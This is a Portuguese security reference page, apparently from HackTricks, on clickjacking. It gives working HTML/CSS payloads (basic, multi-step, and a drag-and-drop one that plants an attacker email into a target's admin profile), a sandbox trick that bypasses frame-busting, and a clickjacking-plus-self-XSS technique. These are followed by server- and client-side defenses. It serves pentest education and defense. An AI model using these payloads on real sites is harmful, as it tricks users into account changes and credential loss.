Clickjacking

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:

O que é Clickjacking

Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento em uma página da web que está invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências não intencionais para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.

Truque de pré-preenchimento de formulários

Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.

Preencher formulário com Arrastar e Soltar

Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para Arrastar e Soltar algo que escreverá seus dados controlados como neste exemplo.

Payload Básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload de vários passos

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Arrastar e Soltar + Clique payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um ataque XSS que requer que um usuário clique em algum elemento para acionar o XSS e a página é vulnerável ao clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link. Exemplo: Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode configurar e ler). A página com o formulário para configurar esses detalhes é vulnerável ao Clickjacking e você pode pré-preencher o formulário com os parâmetros GET. __Um atacante poderia preparar um ataque de Clickjacking para essa página pré-preenchendo o formulário com o payload XSS e enganando o usuário a enviar o formulário. Assim, quando o formulário for enviado e os valores forem modificados, o usuário executará o XSS.

Estratégias para Mitigar o Clickjacking

Defesas do Lado do Cliente

Scripts executados no lado do cliente podem realizar ações para prevenir o Clickjacking:

  • Garantir que a janela da aplicação seja a janela principal ou superior.

  • Tornar todos os frames visíveis.

  • Impedir cliques em frames invisíveis.

  • Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.

No entanto, esses scripts de quebra de frames podem ser contornados:

  • Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte ao JavaScript.

  • Atributo sandbox do iframe HTML5: Um atacante pode neutralizar scripts de quebra de frames definindo o atributo sandbox com os valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se é a janela superior, por exemplo,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Os valores allow-forms e allow-scripts permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.

Defesas do Lado do Servidor

X-Frame-Options

O cabeçalho de resposta HTTP **X-Frame-Options informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame> ou <iframe>, ajudando a prevenir o Clickjacking:

  • X-Frame-Options: deny - Nenhum domínio pode enquadrar o conteúdo.

  • X-Frame-Options: sameorigin - Apenas o site atual pode enquadrar o conteúdo.

  • X-Frame-Options: allow-from https://trusted.com - Apenas o 'uri' especificado pode enquadrar a página.

  • Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.

Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)

A diretiva frame-ancestors na CSP é o método recomendado para proteção contra Clickjacking:

  • frame-ancestors 'none' - Semelhante a X-Frame-Options: deny.

  • frame-ancestors 'self' - Semelhante a X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Semelhante a X-Frame-Options: allow-from.

Por exemplo, a CSP a seguir permite apenas o enquadramento do mesmo domínio:

Content-Security-Policy: frame-ancestors 'self';

Detalhes adicionais e exemplos complexos podem ser encontrados na documentação da CSP frame-ancestors e na documentação da CSP frame-ancestors da Mozilla.

Política de Segurança de Conteúdo (CSP) com child-src e frame-src

A Política de Segurança de Conteúdo (CSP) é uma medida de segurança que ajuda a prevenir o Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir carregar conteúdo.

Diretiva frame-src

  • Define fontes válidas para frames.

  • Mais específico do que a diretiva default-src.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Este política permite frames da mesma origem (self) e https://trusted-website.com.

Diretiva child-src

  • Introduzida no nível 2 do CSP para definir fontes válidas para workers e frames da web.

  • Age como um fallback para frame-src e worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.

Notas de Uso:

  • Descontinuação: child-src está sendo gradualmente substituído por frame-src e worker-src.

  • Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.

  • Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.

Scripts JavaScript de Quebra de Frames

Embora não seja totalmente à prova de falhas, scripts de quebra de frames baseados em JavaScript podem ser usados para evitar que uma página da web seja enquadrada. Exemplo:

if (top !== self) {
top.location = self.location;
}

Utilizando Tokens Anti-CSRF

  • Validação de Token: Utilize tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não por meio de uma página com Clickjacking.

Referências

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo. Tenha Acesso Hoje:

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Last updated